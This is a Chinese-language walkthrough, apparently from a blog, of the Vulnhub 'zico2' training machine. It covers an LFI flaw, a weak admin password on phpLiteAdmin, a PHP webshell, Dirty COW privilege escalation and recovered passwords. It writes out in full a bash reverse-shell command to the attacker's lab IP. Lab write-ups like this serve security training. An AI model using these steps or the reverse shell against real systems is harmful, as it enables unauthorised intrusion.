Vulnhub渗透靶场学习|Vulnhub靶场渗透-zico2
前言 靶机ip（192.168.110.128）
攻击机ip（192.168.110.127）
网络NAT模式
【Vulnhub渗透靶场学习|Vulnhub靶场渗透-zico2】这段时间一直在忙别的事，有两个礼拜没有学习了，哈哈哈
信息收集 
文章图片
打开网站每个页面都简单看了看，发现一个很明显的LFI，先记录下来肯定能用上
文章图片
继续看就没有什么东西了，网页功能也比较简单，现在再来扫一下目录
文章图片
很明显是数据库，手试了一波弱口令给我进去了，就是admin
文章图片
文章图片
漏洞挖掘
简单说一下利用
phpliteadmin 其实就是一个类似于 phpmyadmin的一个数据库管理工具
注意他的版本，这个版本是存在 php远程代码执行漏洞的
-----参考链接----
文章图片
文章图片
root：34kroot34
zico：zico2215@
尝试用 ssh 连接不行，会被检验
phpliteadmin 写入一句话，正好可以利用最开始发现的文件包含来执行代码拿shell，就很舒服数据库名我就叫
caidao.php
文章图片
echo "bash -i >& /dev/tcp/192.168.110.127/2333 0>&1" | bash URL编码一下直接弹 shell
文章图片
文章图片
在 zico 用户下发现 WordPress，打开配置文件发现了一串密码
文章图片
文章图片
再次尝试 ssh 连接成功了
文章图片
查看系统内核，尝试脏牛提权，具体怎么提权就不多说了，都是常规操作，可以看看我的这篇文章
-----------脏牛提权--------
文章图片
这个时候 root 用户已经变成了我们这个
文章图片
直接拿 flag
文章图片
总结 又是老套路了，拿到shell然后脏牛提权拿 root，可见脏牛有多出名
在实战中也还是有很多老机器是运行着旧版本的linux且没有打补丁，所以懂的都懂，哈哈哈
推荐阅读
- webug3.0渗透基础第九、十关笔记
- Docker安装+靶场环境
- 内网渗透|内网渗透-最实用的信息收集
- PentesterLab靶场-sql注入
- 铁柱学渗透06——SQL注入合集
- 铁柱学渗透04——后端基础PHP
- 铁柱学渗透03——后端基础SQL。
- 铁柱学渗透02——web前端基础
- 安全渗透|铁柱学渗透01—Web服务器通讯原理
- 铁柱学渗透05——正则表达式